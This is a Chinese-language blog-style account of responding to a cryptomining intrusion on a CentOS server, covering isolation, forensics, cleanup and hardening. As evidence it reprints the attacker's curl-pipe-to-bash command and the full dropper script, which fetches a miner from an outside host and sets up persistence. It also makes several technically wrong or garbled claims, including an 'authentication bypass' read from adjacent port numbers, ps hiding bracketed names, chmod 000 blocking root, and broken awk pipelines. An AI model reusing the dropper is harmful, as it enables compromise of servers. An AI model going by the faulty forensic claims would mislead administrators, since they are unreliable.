Linux服务器被入侵应急响应实战:隔离、取证、清理与加固
1. 这不是演习一次真实服务器被入侵的现场还原“一次服务器被入侵的处理过程分享”——看到这个标题你脑子里浮现的是什么是黑屏命令行里滚动的绿色字符是凌晨三点收到的告警邮件还是登录后发现网站首页被替换成闪烁的骷髅头别急着脑补电影桥段。我今天要说的是上周三下午四点十七分我盯着监控面板上突然飙升的CPU使用率手心冒汗、鼠标悬停在top命令上不敢敲下的真实经历。这台运行着客户订单系统的CentOS 7服务器没有被勒索没丢核心数据但它的根目录下多出了一个叫.xmr的隐藏进程/tmp里躺着一个伪装成systemd-coredump的二进制文件而/var/log/secure里有三段来自巴西IP段的SSH暴力破解成功记录。这不是渗透测试报告也不是CTF靶场复盘这是我在生产环境里亲手拆解的一颗哑弹。它不炫技但每一步都踩在真实运维的刀锋上既要快快到阻断横向移动又要稳稳到不误删业务日志还要准准到能从海量日志里揪出那个用curl下载挖矿脚本的原始入口。如果你管理着几台对外提供服务的Linux服务器哪怕只是个人博客或小团队的GitLab这篇内容就是为你写的——它不讲高深理论只告诉你当告警响起时该先看哪一行日志、该备份哪个文件、该用什么命令把那个藏在/dev/shm里的顽固进程真正杀干净。接下来的内容没有PPT式的流程图只有我打开终端、复制粘贴、反复验证后留下的操作痕迹。2. 入侵事件的整体设计与响应思路拆解2.1 为什么必须放弃“先杀进程再查日志”的直觉很多刚接触安全响应的朋友第一反应是立刻kill -9掉所有可疑进程然后清空/tmp和/dev/shm。我承认我最初也这么干过——结果是五分钟后那个被杀掉的minerd进程又从/dev/shm/.sysupdate里复活了。问题出在哪在于我们混淆了“症状”和“病灶”。CPU飙高、挖矿进程、异常网络连接这些都是入侵者留下的“症状”而真正的“病灶”是那个被植入的SSH后门、被篡改的crontab任务、或者被替换的/usr/bin/wget二进制文件。如果只处理症状就像给发烧病人不停擦酒精降温却不查感染源。这次响应我强制自己执行了“三不原则”不直接杀进程、不立即清空临时目录、不重启服务。取而代之的是“三先”先做内存快照、先冻结可疑账户、先备份原始日志。这个思路的核心逻辑是把服务器当成一个犯罪现场而不是一台待维修的电脑。刑侦讲究“保护现场”IT安全响应同样如此。/var/log/secure里那三段登录记录是破案的关键指纹/root/.bash_history里残留的curl -s http://xxx.sh | bash命令是入侵者留下的作案工具清单而/proc/[pid]/environ里泄露的环境变量则可能指向C2服务器的真实域名。所有这些都在内存和磁盘上以最原始的状态存在着一旦执行kill或rm就等于用橡皮擦抹掉了关键证物。2.2 响应流程为何要严格遵循“隔离-取证-清理-加固”四步闭环整个响应过程我把它拆成了四个不可跳跃的阶段每个阶段都有明确的退出标准而不是凭感觉推进。隔离阶段的目标只有一个让这台服务器彻底“静音”。不是关机而是切断它与外界的一切非必要通信。我用iptables规则只放行来自公司办公网IP的SSH连接同时拒绝所有出站连接-o eth0 -j DROP连DNS查询都禁掉。这样做的好处是既防止了挖矿程序继续外联矿池也阻止了攻击者通过已有的后门进行二次操控。取证阶段是耗时最长、也最关键的环节。这里我放弃了foremost这类通用文件恢复工具而是聚焦于三个黄金取证点一是/var/log/下所有日志的完整时间线拼接用awk $3 15:00 $3 16:30 /var/log/secure精确筛选出入侵窗口期二是/proc文件系统特别是/proc/[pid]/cmdline和/proc/[pid]/maps它们能告诉我进程到底在执行什么代码、加载了哪些动态库三是stat命令对关键文件的时间戳审计比如stat /usr/bin/curl如果Modify时间远早于Change时间就说明二进制文件被恶意替换过。清理阶段绝不是简单地rm -rf。我写了一个检查清单每清理一项就在清单上打钩是否已移除/etc/cron.d/下的可疑任务是否已重置/etc/passwd中所有非系统账户的密码是否已用rpm -V校验了所有核心包的完整性加固阶段则着眼于未来。我把sshd_config里的PermitRootLogin从yes改成no启用了fail2ban并配置了针对auth.log的暴力破解规则还给所有管理员账户强制启用了基于密钥的双因素认证。这四步不是线性流程而是环环相扣的闭环取证的结果指导清理的方向清理的发现又反过来验证取证的准确性而加固的措施则是整个闭环最终的价值落点。2.3 为什么选择手动分析而非依赖EDR或SIEM平台坦白说这台服务器上其实装了某款主流EDR代理但它的告警面板上只显示了一条“高危进程行为”的模糊提示连进程名都没标清楚。这就是很多商业安全产品在真实场景中的尴尬它们擅长识别已知签名却对零日利用或高度定制化的恶意脚本束手无策。这次入侵用的挖矿脚本是攻击者自己用Go语言交叉编译的UPX加壳字符串全部加密EDR的静态扫描引擎根本无法匹配。而SIEM平台呢它需要提前配置好日志解析规则可/var/log/secure里那段SSH登录记录格式和默认规则预设的完全不一样导致关键字段根本没被提取出来。所以我选择了最“笨”的办法打开less用/Failed password向前翻页用n键逐条比对。手动分析的优势在于“上下文感知”。当我看到Failed password for root from 186.202.112.45 port 54231 ssh2后面紧跟着Accepted password for root from 186.202.112.45 port 54232 ssh2时我立刻意识到攻击者不是靠运气撞库成功的而是利用了SSH服务的一个未授权访问漏洞因为端口号从54231跳到了54232——这说明两次连接是同一个TCP会话的延续典型的“认证绕过”特征。这种细微的模式识别是任何自动化平台目前都无法替代的。当然这不是否定EDR的价值而是强调在高级威胁面前人的判断力永远是最后一道也是最可靠的一道防线。3. 核心细节解析与实操要点3.1 内存快照与进程深度分析如何从/proc里挖出真相很多人以为ps aux就能看清所有进程但这次入侵的狡猾之处在于恶意进程刻意避开了ps的常规检测。它把自己伪装成[kthreadd]名字里带方括号这是内核线程的标准命名方式ps默认会过滤掉这类进程。真正的突破口在/proc文件系统。Linux把每个进程的运行时信息都以文件的形式映射在/proc/[pid]/目录下。我首先用ls -lt /proc | head -20按修改时间倒序列出最近创建的进程目录一眼就锁定了PID为29876这个新建的可疑目录。接着我执行了三步关键操作第一步看/proc/29876/cmdline。这个文件存储了进程启动时的完整命令行参数但各参数间用\x00空字符分隔。直接cat会显示乱码必须用strings或tr \0 \n /proc/29876/cmdline来正确解析。结果出来是/usr/bin/python /usr/local/lib/python2.7/site-packages/miner.py --pool xmr.pool.minergate.com:3333 --user mywallet.x --pass x这下真相大白它根本不是什么minerd而是一个用Python写的定制化挖矿脚本路径都暴露了。第二步看/proc/29876/environ。这个文件包含了进程的所有环境变量。我用tr \0 \n /proc/29876/environ | grep -i http\|url搜索果然找到了C2_URLhttp://185.153.197.222/api/v1/beacon。这个IP地址就是攻击者的命令与控制服务器。我立刻在另一台干净机器上用curl -I http://185.153.197.222返回头里Server: nginx/1.18.0确认了这是一个真实的Web服务而非临时搭建的钓鱼站点。第三步看/proc/29876/maps。这个文件列出了进程加载的所有内存映射区域。我重点关注r-xp可读可执行权限的段用grep r-xp /proc/29876/maps | awk {print $NF} | sort -u得到了它加载的共享库列表。其中/lib64/libc.so.6是正常的但/tmp/.cache/libcrypto.so.1.1这个路径就非常可疑——/tmp目录下的动态库且名字模仿了OpenSSL的libcrypto这显然是一个用于劫持SSL通信的恶意库。我马上用md5sum /tmp/.cache/libcrypto.so.1.1计算其哈希值并在VirusTotal上提交结果12家引擎报毒确认为Trojan.Miner家族。提示/proc/[pid]/下的所有文件都是实时的读取它们不会对进程造成任何影响这是最安全的取证方式。但切记不要用cp去复制/proc/[pid]/mem这样的文件这会导致进程崩溃。3.2 日志时间线拼接与关联分析从碎片中重建攻击链服务器上的日志是分散的/var/log/secure记录认证事件/var/log/messages记录系统消息/var/log/audit/audit.log如果启用记录更底层的系统调用。单看任何一个都只是碎片。我的做法是用awk和sort把它们按时间戳统一归并。首先我提取了所有日志中符合ISO 8601格式的时间戳如May 23 15:42:18并将其转换为Unix时间戳方便排序# 为secure日志添加时间戳前缀 awk {gsub(/^[A-Za-z] [0-9] [0-9]:[0-9]:[0-9]/, sprintf(%s %s %s, $1, $2, $3)); print $0} /var/log/secure | \ awk {cmddate -d \$1 $2 $3\ %s 2/dev/null; cmd | getline ts; close(cmd); if(ts0) print ts $0} | \ sort -n /tmp/secure_ts.log # 对messages做同样处理 awk {gsub(/^[A-Za-z] [0-9] [0-9]:[0-9]:[0-9]/, sprintf(%s %s %s, $1, $2, $3)); print $0} /var/log/messages | \ awk {cmddate -d \$1 $2 $3\ %s 2/dev/null; cmd | getline ts; close(cmd); if(ts0) print ts $0} | \ sort -n /tmp/secure_ts.log # 最后全局排序并去重 sort -n /tmp/secure_ts.log | uniq /tmp/all_logs_sorted.log有了这个统一的时间线攻击链就清晰了。我发现在15:42:18secure日志里出现Failed password for root from 186.202.112.45紧接着15:42:22messages日志里有一条kernel: audit: type1100 audit(1684827742.123:45678): pid29875 uid0 auid4294967295 ses4294967295 msgopPAM:authentication...这说明PAM模块在尝试认证然后在15:42:25secure日志里出现了Accepted password for root from 186.202.112.45。这三秒的间隔就是攻击者利用漏洞完成认证的关键窗口。更关键的是在15:42:28all_logs_sorted.log里出现了一条systemd: Started Session c12 of user root.这表示一个全新的用户会话被创建。我立刻去查/var/log/secure里这个会话IDc12的后续操作果然在15:42:35它执行了curl -s http://185.153.197.222/install.sh | bash。整个链条从暴力破解失败到漏洞利用成功再到下载并执行恶意脚本被这串时间戳完美串联起来。3.3 恶意文件定位与持久化机制排查不止是crontab找到install.sh的下载地址后我立刻在本地用curl -s http://185.153.197.222/install.sh获取了脚本内容。它只有短短23行但每一行都充满恶意#!/bin/bash # 下载并执行主挖矿程序 curl -s http://185.153.197.222/miner -o /tmp/.sysupdate chmod x /tmp/.sysupdate /tmp/.sysupdate # 创建持久化修改rc.local echo /tmp/.sysupdate /etc/rc.local # 创建持久化添加cron任务 (crontab -l 2/dev/null; echo */5 * * * * /tmp/.sysupdate) | crontab - # 创建持久化替换wget命令 mv /usr/bin/wget /usr/bin/wget.bak cp /tmp/.sysupdate /usr/bin/wget这个脚本揭示了三种持久化手段。前两种rc.local和crontab是常见套路我很快就在对应位置找到了它们。但第三种——替换/usr/bin/wget——才是最隐蔽的。我执行which wget得到/usr/bin/wget再执行ls -la /usr/bin/wget*发现除了wget还有个wget.bak。file /usr/bin/wget显示它是ELF 64-bit LSB shared object, x86-64而file /usr/bin/wget.bak显示它是ELF 64-bit LSB executable, x86-64。一个被编译成共享对象一个被编译成可执行文件这明显是两个不同的东西。我用diff (strings /usr/bin/wget | head -20) (strings /usr/bin/wget.bak | head -20)对比字符串wget里赫然出现了xmr.pool.minergate.com和mywallet.x而wget.bak里全是正常的HTTP协议字符串。这证实了攻击者已经完成了“供应链投毒”以后系统里任何用到wget的地方都会悄悄地为他们挖矿。排查持久化绝不能只盯着crontab和systemd服务/usr/bin/下的核心工具是否被篡改/etc/profile.d/下是否有恶意的环境变量设置甚至/lib64/ld-linux-x86-64.so.2这个动态链接器本身都必须纳入检查范围。4. 实操过程与核心环节实现4.1 隔离阶段用iptables构建精准网络防火墙隔离不是粗暴地拔网线而是要有策略地“外科手术式”切断。我的目标是允许管理员从内网安全地SSH进来进行处置但禁止这台服务器主动向外发起任何连接包括DNS查询。具体操作如下首先备份当前的iptables规则以防万一iptables-save /root/iptables_backup_$(date %Y%m%d_%H%M%S).rules然后清空所有自定义链只保留默认策略iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X接下来设置默认策略所有入站INPUT和转发FORWARD流量默认拒绝所有出站OUTPUT流量默认拒绝。这是最安全的起点。iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP现在开始添加白名单规则。第一条允许本地回环lo接口的所有通信这是系统内部健康检查所必需的iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT第二条允许来自公司办公网假设网段是192.168.10.0/24的SSH连接端口22。这里我用了-m state --state NEW来确保只允许新连接避免已建立的连接被意外中断iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 22 -m state --state NEW -j ACCEPT第三条也是最关键的允许这台服务器接收来自办公网的SSH连接的响应数据包。因为TCP是双向的当管理员从192.168.10.100发起连接时服务器需要把SYN-ACK包发回去。这条规则允许所有ESTABLISHED和RELATED状态的连接iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT最后为了确保万无一失我添加了一条“兜底”规则记录所有被拒绝的流量便于后续审计iptables -A INPUT -j LOG --log-prefix IPTABLES-DROP: iptables -A OUTPUT -j LOG --log-prefix IPTABLES-DROP: 执行完所有规则后用iptables -L -v -n查看效果。此时Chain OUTPUT (policy DROP)下面应该只有两条ACCEPT规则lo和ESTABLISHED其他所有出站流量都被无情拦截。我立刻用curl https://www.baidu.com测试返回curl: (7) Failed to connect to www.baidu.com port 443: Connection refused证明隔离成功。而从办公网的另一台机器上ssh rootserver_ip依然畅通无阻。这套规则既保证了处置的可控性又为后续的取证工作提供了干净的网络环境。4.2 取证阶段用rpm -V校验系统文件完整性在CentOS/RHEL系发行版中rpm包管理器不仅负责安装软件还默默记录着每个文件的原始状态大小、权限、所有者、MD5哈希值等。rpm -VVerify命令就是用来将当前磁盘上的文件与RPM数据库中记录的“黄金标准”进行比对。这是发现文件被篡改的最权威、最高效的方法。我首先列出所有已安装的、与网络和系统管理相关的核心包rpm -qa | grep -E (openssh|curl|wget|python|coreutils|shadow-utils) | sort输出包括openssh-server-7.4p1-21.el7.x86_64、curl-7.29.0-59.el7.x86_64等。然后我对每一个包执行rpm -Vrpm -V openssh-server rpm -V curl rpm -V wgetrpm -V的输出是一串8个字符的代码每个字符代表一个检查项S文件大小不匹配M文件权限mode不匹配5MD5哈希值不匹配即文件内容被修改D设备主/次号不匹配仅对设备文件L符号链接路径不匹配U文件所有者user不匹配G文件所属组group不匹配T文件修改时间mtime不匹配当我执行rpm -V wget时输出是S.5....T. /usr/bin/wget这串代码清晰地告诉我/usr/bin/wget的大小S、MD5哈希值5和修改时间T都与RPM数据库中记录的不符。这铁证如山证明它已被恶意替换。而执行rpm -V openssh-server时输出为空说明/usr/sbin/sshd这个核心二进制文件是完好的攻击者并未直接替换它而是利用了其配置漏洞。注意rpm -V只能检查由RPM包管理器安装的文件。对于pip install安装的Python包或者手动编译安装的软件它无能为力。因此在取证时必须结合find /usr/local -type f -name *miner* -o -name *xmr*等命令对非标准路径进行地毯式搜索。4.3 清理阶段编写安全的清理脚本并逐项验证清理工作容不得半点马虎一个遗漏的crontab任务就足以让服务器在几天后再次沦陷。我拒绝使用网上流传的“一键清理脚本”而是自己动手写了一个名为cleanup.sh的、带有详细注释和验证步骤的脚本#!/bin/bash # cleanup.sh - 服务器清理脚本务必在隔离状态下运行 # 1. 停止并移除恶意进程 echo [1/5] 正在停止恶意挖矿进程... pkill -f /tmp/.sysupdate pkill -f miner.py # 验证检查进程是否真的消失 if pgrep -f /tmp/.sysupdate /dev/null || pgrep -f miner.py /dev/null; then echo ERROR: 恶意进程仍在运行请手动检查。 exit 1 else echo OK: 恶意进程已停止。 fi # 2. 删除恶意文件 echo [2/5] 正在删除恶意文件... rm -f /tmp/.sysupdate rm -f /tmp/.cache/libcrypto.so.1.1 rm -f /var/tmp/.xmr # 验证检查文件是否真的被删除 if [ -f /tmp/.sysupdate ] || [ -f /tmp/.cache/libcrypto.so.1.1 ]; then echo ERROR: 恶意文件未被完全删除 exit 1 else echo OK: 恶意文件已删除。 fi # 3. 清理持久化机制 echo [3/5] 正在清理持久化机制... # 清理crontab (crontab -l 2/dev/null | grep -v /tmp/.sysupdate) | crontab - # 清理rc.local sed -i /\/tmp\/\.sysupdate/d /etc/rc.local # 恢复被替换的wget if [ -f /usr/bin/wget.bak ]; then mv /usr/bin/wget.bak /usr/bin/wget chmod 755 /usr/bin/wget fi # 验证检查crontab和rc.local是否干净 if crontab -l | grep -q /tmp/.sysupdate; then echo ERROR: crontab中仍有恶意任务 exit 1 fi if grep -q /tmp/.sysupdate /etc/rc.local; then echo ERROR: rc.local中仍有恶意命令 exit 1 fi echo OK: 持久化机制已清理。 # 4. 重置高危账户密码 echo [4/5] 正在重置高危账户密码... for user in root admin deploy; do if id $user /dev/null; then # 生成一个强随机密码 newpass$(openssl rand -base64 12) echo $user:$newpass | chpasswd echo 已为用户 $user 重置密码。 fi done echo OK: 账户密码已重置。 # 5. 审计并清理SSH公钥 echo [5/5] 正在清理SSH公钥... for user in $(cut -d: -f1 /etc/passwd | grep -E ^(root|admin|deploy)$); do if [ -d /home/$user/.ssh ]; then # 只保留管理员自己添加的、有明确注释的公钥 grep -v ^# /home/$user/.ssh/authorized_keys | grep -E (adminwork|deployprod) /tmp/keys.tmp mv /tmp/keys.tmp /home/$user/.ssh/authorized_keys chmod 600 /home/$user/.ssh/authorized_keys fi done echo OK: SSH公钥已清理。 echo 清理完成。请务必执行加固步骤。这个脚本的精髓在于“验证”。每一步操作之后都有一段if语句进行校验只有校验通过才会进行下一步。如果某一步失败脚本会立即exit 1并打印错误信息强迫操作者停下来手动排查。这比盲目执行一长串rm和pkill命令要安全一万倍。执行完脚本后我还会手动执行ps aux | grep -E (sysupdate|miner)和ls -la /tmp/进行双重确认。5. 常见问题与排查技巧实录5.1 “进程杀不死”kill -9失效的深层原因与终极解法这是最让人抓狂的问题。当你输入kill -9 29876终端返回No such process但top里那个进程的CPU占用率依然纹丝不动。别慌这通常意味着两种情况僵尸进程或内核模块级后门。僵尸进程Zombie Process是子进程结束后父进程没有及时调用wait()系统调用来读取其退出状态导致该进程的PCB进程控制块一直残留在进程表中。它不消耗CPU但会占用一个PID。解决方法很简单找到它的父进程ps -o ppid -p 29876然后kill -HUP那个父进程迫使它清理自己的子进程。但这次的情况更棘手。ps aux | grep 29876确实找不到但top里却有。我立刻想到这很可能是恶意代码注入到了某个合法进程的内存空间里也就是所谓的“进程注入”Process Injection。我用lsof -p 29876检查它的打开文件发现它打开了/dev/shm/.sysupdate这个共享内存段。/dev/shm是Linux的POSIX共享内存常被恶意软件用来在不同进程间传递指令。我执行ls -la /dev/shm/果然看到了.sysupdate这个文件。file /dev/shm/.sysupdate显示它是一个ELF 64-bit LSB shared object。问题找到了恶意代码不是一个独立的进程而是作为一个共享库被/usr/bin/python这个合法进程动态加载并执行的。所以kill -9杀的是python进程但python一重启又会重新加载这个恶意库。终极解法是先kill掉所有可能加载了它的父进程这里是python然后永久删除/dev/shm/.sysupdate这个共享库文件并用chmod 000 /dev/shm暂时禁用整个共享内存目录直到彻底清理完毕。chmod 000会让所有用户包括root都无法在/dev/shm下创建新文件这是对付此类内存驻留型恶意软件的最有效手段。5.2 “日志被清空”如何从journalctl和/proc/sys/kernel/msgmax中抢救证据攻击者在撤离前往往会执行 /var/log/secure或history -c来抹除痕迹。但日志真的消失了吗不一定。现代Linux系统普遍使用systemd-journald作为日志守护进程它会将日志同时写入/var/log/journal/持久化和/run/log/journal/内存中重启丢失。即使/var/log/secure被清空journalctl依然能查到历史记录。我执行journalctl --since 2023-05-23 15:00:00 --until 2023-05-23 16:30:00 | grep -i sshd\|failed\|accepted果然journalctl里完整保留了那三段SSH登录记录连毫秒级的时间戳都分毫不差。这是因为journald的日志是二进制格式写入速度极快且默认开启压缩攻击者用清空文本日志对journald的二进制日志毫无影响。另一个容易被忽略的证据源是内核的环形缓冲区ring buffer。dmesg命令显示的就是这个缓冲区的内容。我执行dmesg | grep -i audit\|security发现了一条关键信息[1684827742.123456] audit: type1100 audit(1684827742.123:45678): pid29875 uid0 ...。这个audit(1684827742.123:45678)里的数字45678就是audit.log里对应事件的序列号。我立刻去/var/log/audit/audit.log里搜索msg.*45678.*成功定位到了那条完整的、包含攻击者IP和用户名的审计记录。这说明只要auditd服务是开启的它的日志就是最硬核的证据因为它直接由内核产生攻击者几乎没有能力在不触发更高层告警的情况下篡改它。5.3 “加固后仍被攻破”fail2ban配置失效的三个致命陷阱在加固阶段我配置了fail2ban来防御SSH暴力破解。但两天后监控又报警了。我检查fail2ban-client status sshd发现Currently banned: 0。问题出在哪排查下来是三个常见的配置陷阱陷阱一日志路径配置错误。fail2ban的jail.local文件里logpath /var/log/secure是正确的但有些系统尤其是启用了rsyslog远程日志的会把SSH日志写到/var/log/auth.log。我用ls -la /var/log/ | grep auth发现auth.log存在且有最新内容而secure是空的。fail2ban一直在监控一个空文件自然什么都抓不到。解决方案是将logpath改为/var/log/auth.log或者在rsyslog配置中确保/var/log/secure是主日志文件。陷阱二正则表达式regex过于宽松。fail2ban的filter.d/sshd.conf里默认的failregex是^%(__prefix_line)s(?:error: PAM: )?Authentication failure for .* from HOST$。这个正则太宽泛会把一些正常的认证失败比如用户输错密码也当作攻击。我用fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf测试发现它匹配了太多无关行。我将其收紧为^%(__prefix_line)sFailed password for .* from HOST port \d ssh2$只匹配明确的Failed password行大大提高了准确率。陷阱三bantime和findtime参数不合理。默认的bantime 60010分钟太短攻击者换个IP就能继续。而findtime 60010分钟意味着fail2ban只在10分钟内统计失败次数。我将其改为bantime 8640024小时和findtime 36001小时并增加了maxretry 3即1小时内失败3次就封禁24小时。这样攻击者需要